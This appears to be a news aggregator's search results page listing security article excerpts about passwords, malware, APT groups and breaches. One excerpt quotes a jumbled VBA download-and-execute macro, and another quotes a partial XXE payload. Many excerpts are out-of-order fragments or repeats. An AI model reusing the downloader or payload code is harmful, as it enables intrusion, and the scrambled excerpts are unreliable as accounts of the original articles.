Security Affairs

OCTOBER 17, 2023

The Sandworm group (aka BlackEnergy , UAC-0082 , Iron Viking , Voodoo Bear , and TeleBots ) has been active since 2000, it operates under the control of Unit 74455 of the Russian GRU’s Main Center for Special Technologies (GTsST). ” reads the advisory published by the CERT-UA.

Telecommunications 107

Telecommunications Authentication Data collection Passwords 107

SecureList

DECEMBER 13, 2023

This includes the “winnt” folder, which is only present in Windows 2000. The initial version, written in Go, had typical stealer features, such as stealing passwords, files, browser data and so on. It also created fake password prompts in an attempt to obtain the system password.

Ransomware 90

Ransomware Passwords Malware Encryption 90

Security Affairs

AUGUST 20, 2023

Over 3,000 Android Malware spotted using unsupported/unknown compression methods to avoid detection WinRAR flaw enables remote code execution of arbitrary code #OpFukushima: Anonymous group protests against the plan to dump Fukushima RADIOACTIVE wastewater into Pacific Massive phishing campaign targets users of the Zimbra Collaboration email server (..)

Cybercrime 78

Cybercrime Hacking Malware Phishing 78

Security Affairs

SEPTEMBER 19, 2022

“It is found that our wireless products, FLEXLAN FX3000/2000 series, have a firmware vulnerability. There are possibilities of data plagiarism, falsification, system destruction, and malicious program execution if this vulnerability was exploited by malicious attackers who can access to this private webpage (with passwords information).”

Wireless 91

Wireless Firmware Passwords Engineering 91

Malwarebytes

JULY 15, 2021

The notice mentions the following products along with recommended actions: SRA 4600/1600 (EOL 2019) disconnect immediately and reset passwords. SRA 4200/1200 (EOL 2016) disconnect immediately and reset passwords. SSL-VPN 200/2000/400 (EOL 2013/2014) disconnect immediately and reset passwords. 34 or 9.0.0.10

Ransomware 81

Ransomware Firmware VPN Firewall 81

Security Boulevard

OCTOBER 21, 2022

As with user password rotation, so too should keys and certificates be replaced, and rogue ones deleted in an expedited manner—and this must be done faster than an adversary can add new ones. They prey on the knowledge that most Global 2000 organizations do not have a clear grasp of security related to keys and certificates.

Data breaches 40

Data breaches Digital transformation Mobile Authentication 40

Krebs on Security

APRIL 7, 2020

Domain experts called corp.com dangerous because years of testing showed whoever wields it would have access to an unending stream of passwords, email and other sensitive data from hundreds of thousands of Microsoft Windows PCs at major companies around the globe. This week, Microsoft Corp.

DNS 328

DNS Wireless Risk Passwords 328

Security Affairs

AUGUST 9, 2022

The CVE-2017-11882 flaw is a memory-corruption issue that affects all versions of Microsoft Office released between 2000 and 2017. Gathered files were packed into password-protected ZIP archives, then they were sent to one of the stage one malware C2 servers, which are located in different countries of the world.

Encryption 99

Encryption Antivirus Malware Hacking 99

Duo's Security Blog

FEBRUARY 8, 2021

Setting Up an Instant Unique Login Then we want to set a password for that registered citizen account, because in order to deliver the service, we are asking for some personally identifiable information (PII) that we now need to protect as best we can. Yes, we know they’re probably going to reuse the password they remember best.

CISO 93

CISO Passwords Authentication Accountability 93

Security Affairs

SEPTEMBER 21, 2022

Sandworm (aka BlackEnergy and TeleBots ) has been active since 2000, it operates under the control of Unit 74455 of the Russian GRU’s Main Center for Special Technologies (GTsST). Multiple security firms have reported that the Sandworm APT continues to target Ukraine with multiple means, including custom malware and botnet like Cyclops Blink.

Malware 82

Malware Telecommunications DNS Hacking 82

Adam Levin

JULY 8, 2020

Far from being jealously guarded assets with Fort Knox-level security, a new study of Forbes Global 2000 Companies suggests many domain names are imminently hackable. It should include an inventory of who can access registrar accounts, implementation of two-factor authentication, and password hygiene checks.

Hacking 130

Hacking Retail Cyber Insurance Authentication 130

Security Affairs

OCTOBER 1, 2019

ServerXMLHTTP") WinHttpReq.setOption(2) = 13056 ' Ignore cert errors WinHttpReq.Open "GET", droppingURL, False ', "username", "password" WinHttpReq.setRequestHeader "User-Agent", "Mozilla/4.0 Private Sub DownloadAndExecute() Dim droppingURL As String Dim localPath As String Dim WinHttpReq As Object, oStream As Object Dim result As Integer.

Malware 73

Malware Computers and Electronics Penetration Testing Cyber Attacks 73

Malwarebytes

OCTOBER 22, 2021

Before the year 2000, lots of computer programs kept track of the year by remembering the last two digits instead of all four. Authentication mechanisms such as Time-based One-Time Password (TOTP) and Kerberos also rely heavily on time. through 3.22. If you don’t remember the Y2K bug, let me remind you quickly.

Authentication 144

Authentication System Administration Firmware Passwords 144

IT Security Guru

JANUARY 28, 2021

Don’t share your corporate password with others: 12% of respondents admitted doing this. This survey was conducted with 2000 US and UK remote workers in December 2020. Don’t download personal applications onto a company device: 23% of respondents admitted doing this. About the survey.

Data privacy 73

Data privacy Data breaches Authentication Passwords 73

Security Affairs

SEPTEMBER 29, 2019

Thinkful forces a password reset for all users after a data breach. Study shows connections between 2000 malware samples used by Russian APT groups. Portugues hacker faces hundreds of Charges in Football Leaks case. Portuguese hacker faces hundreds of Charges in Football Leaks case. APT or not APT? The Dumb-Proof Guide.

Data breaches 53

Data breaches Advertising Malware VPN 53

Krebs on Security

JUNE 25, 2019

com 2000-08-24 ALIBABA CLOUD COMPUTING (BEIJING) CO., For the remainder of this post, we’ll focus on the bolded domain names below: Domain Name Create Date Registrar. 2333youxi[.]com com 2016-02-18 ALIBABA CLOUD COMPUTING (BEIJING) CO., com 2012-11-26 ALIBABA CLOUD COMPUTING (BEIJING) CO., blazefire[.]com blazefire[.]net

Mobile 247

Mobile Technology Manufacturing Malware 247

Security Affairs

AUGUST 23, 2018

released in November 2000), and is easier to exploit than previous OpenSSH username enumerations (which were all timing attacks):” The flaw could allow an attacker to guess valid usernames registered on an SSH server, then to launch brute-force attacks to guess the password.

Authentication 53

Authentication Advertising Software Passwords 53

Krebs on Security

AUGUST 11, 2022

There are no passwords in the database. There are very few records in this file with dates of birth after 2000. The largest item in the archive is a 3.6 gigabyte file called “dbfull,” and it contains 28.5 million records, including 22.8 million unique email addresses and 23 million unique SSNs.

Mobile 43

Mobile Internet Internet Accountability 43

Security Affairs

AUGUST 13, 2019

” The author is offering the malware for rent at a price of $2000 for 1-month use, $7000 for 6 months and up to $12,000 for an entire year. The malicious code users overlay attacks to steal sensitive and financial data from the victim, including credit card numbers, banking credentials and passwords for bank accounts.

Banking 90

Banking Malware Advertising Social Engineering 90

SecureList

DECEMBER 29, 2020

Corporate accounts in databases of leaked passwords. If employees use compromised passwords for external services as well as for corporate resources, that information can be used to gain unauthorized access to those resources. Vulnerable networks. Data leaks. Lack of security updates. Bad network service configuration.

Banking 70

Banking Accountability Passwords Software 70

Krebs on Security

JUNE 25, 2019

com 2000-08-24 ALIBABA CLOUD COMPUTING (BEIJING) CO., For the remainder of this post, we’ll focus on the bolded domain names below: Domain Name Create Date Registrar. 2333youxi[.]com com 2016-02-18 ALIBABA CLOUD COMPUTING (BEIJING) CO., com 2012-11-26 ALIBABA CLOUD COMPUTING (BEIJING) CO., blazefire[.]com blazefire[.]net

Mobile 163

Mobile Technology Manufacturing Software 163

ForAllSecure

MAY 25, 2021

Back in 2000, it was just Black Hat USA followed by DEF CON, and only a handful of people knew about it. Passwords : Make sure you have strong passwords on your phone, on your laptop, on all your apps and services. I was once in the press room at Black Hat when my colleague’s unencrypted password was hacked.

VPN 52

VPN Passwords Internet Internet 52

ForAllSecure

MAY 25, 2021

Back in 2000, it was just Black Hat USA followed by DEF CON, and only a handful of people knew about it. Passwords : Make sure you have strong passwords on your phone, on your laptop, on all your apps and services. I was once in the press room at Black Hat when my colleague’s unencrypted password was hacked.

VPN 52

VPN Passwords Internet Internet 52

Security Affairs

JANUARY 17, 2019

Someone has collected a huge trove of data through credential stuffing , the ‘Collection #1’ archive is a set of email addresses and passwords totalling 2,692,818,238 rows resulting from thousands of different sources. million passwords are not part of known past data breaches. ” concludes Hunt. Pierluigi Paganini.

Passwords 94

Passwords Data breaches Advertising Hacking 94

Malwarebytes

JANUARY 10, 2024

From today until December 31, 2023, the price for a subscription to Atomic MacOs Stealer is only $2000. This will allow Atomic Stealer to collect passwords and other sensitive files that are typically access-restricted. It’s not just passwords that are of interest to cyber criminals. Happy New Year!

Passwords 115

Passwords Antivirus Malware Encryption 115

CyberSecurity Insiders

JANUARY 16, 2022

Some of the most rewarding moments in my career were working for ITT Systems Division as a civilian contractor in Afghanistan and Iraq in the mid-2000’s. What has been the most satisfying moment in your professional career? Cyber security is everyone’s job, not just security professionals.

Engineering 124

Engineering Cybersecurity Energy and Utilities Software 124

Security Affairs

NOVEMBER 29, 2018

Back in 2000, every aspiring student wanted to become computer /IT engineer, thanks to “.com” Password – phantompain. Docker is a popular container product which has been adopted widely by the community. IT industry has seen quite a few transformations in last couple of decades with advent of disruptive technologies.

Engineering 98

Engineering Digital transformation Advertising Technology 98

Security Affairs

FEBRUARY 4, 2024

Clorox estimates the costs of the August cyberattack will exceed $49 Million Mastodon fixed a flaw that can allow the takeover of any account Iranian hackers breached Albania’s Institute of Statistics (INSTAT) Operation Synergia led to the arrest of 31 individuals Ex CIA employee Joshua Adam Schulte sentenced to 40 years in prison Cloudflare breached (..)

Identity Theft 107

Identity Theft VPN Malware Ransomware 107

Spinone

JULY 29, 2019

In the Role account field, type the email address and password of the role account on your mail server. For example, it may take an hour to move 2000 emails. In the Connection protocol field, chose Exchange web services. There will appear a new field where you need to put a web address of the migrating Outlook account. Press Connect.

Backups 72

Backups Accountability Mobile Cloud Migration 72

Troy Hunt

JANUARY 16, 2019

Collection #1 is a set of email addresses and passwords totalling 2,692,818,238 rows. In total, there are 1,160,253,228 unique combinations of email addresses and passwords. This is when treating the password as case sensitive but the email address as not case sensitive. There are 21,222,975 unique passwords. It'll be 99.x%

Data breaches 280

Data breaches Passwords Password Management Accountability 280

Malwarebytes

APRIL 5, 2023

2000 Children’s Internet Protection Act (CIPA): Requires K–12 schools to restrict children’s exposure to obscene digital content, monitor the online activity of minors, and educate students about appropriate behavior on the internet. When students turn 18, those rights are transferred to them. Require phishing-resistant MFA.

Education 61

Education Ransomware Cybersecurity Risk 61

Spinone

NOVEMBER 21, 2019

Here are only seven out of 26 topics: Insider threats Passwords Security of mobile devices Social engineering Viruses Email security Human error To start the course, you need to register and choose the type of account you need. Format: Bite-sized videos with short quizzes after each topic.

Social Engineering 40

Social Engineering Accountability Phishing Cybersecurity 40

Security Affairs

OCTOBER 20, 2018

Although LFI was interesting to grab some sensitive files since XML can’t handle binary data it was not possible to dump the SQLite database to get usernames and passwords. %dtd; ]> <requests> <request href=”/api/2.0/rest/3rdparty/facebook/” for the file XXE_CHECK. Netgear Stora. Seagate GoFlex Home. Medion LifeCloud.

Firmware 62

Firmware IoT VPN Authentication 62

The Last Watchdog

OCTOBER 15, 2018

In that caper, criminals got away with Social Security numbers, passwords, and in some cases, fingerprints. The OPM breach put most federal workers since the year 2000 are at risk. You’ll recall that in the OPM breach , the cyber intruders stole a a staggering amount of highly sensitive information – deep personnel records for 21.5

Risk 133

Risk Government Cyber Attacks Authentication 133

Krebs on Security

FEBRUARY 8, 2020

It is sensitive because years of testing shows whoever wields it would have access to an unending stream of passwords, email and other proprietary data belonging to hundreds of thousands of systems at major companies around the globe. Now, facing 70 and seeking to simplify his estate, O’Connor is finally selling corp.com.

DNS 338

DNS Internet Internet Software 338

Security Boulevard

FEBRUARY 1, 2021

In the early 2000???s They encourage hackathons and learning around the mindset and techniques on issues like password cracking, for example.?? t be able to sufficiently secure your code. Clay : One of the more interesting things I did early on is I started playing around with Linux in the 90s when it was just coming in.

Engineering 64

Engineering Software Technology Risk 64

eSecurity Planet

MAY 25, 2022

For users familiar with password management and the value of complex passwords, this makes sense. Users can establish a symmetric key to share private messages through a secure channel like a password manager. The longer and more complex the encrypted message is, the longer it’ll take to decrypt.

Encryption 134

Encryption Computers and Electronics Password Management Passwords 134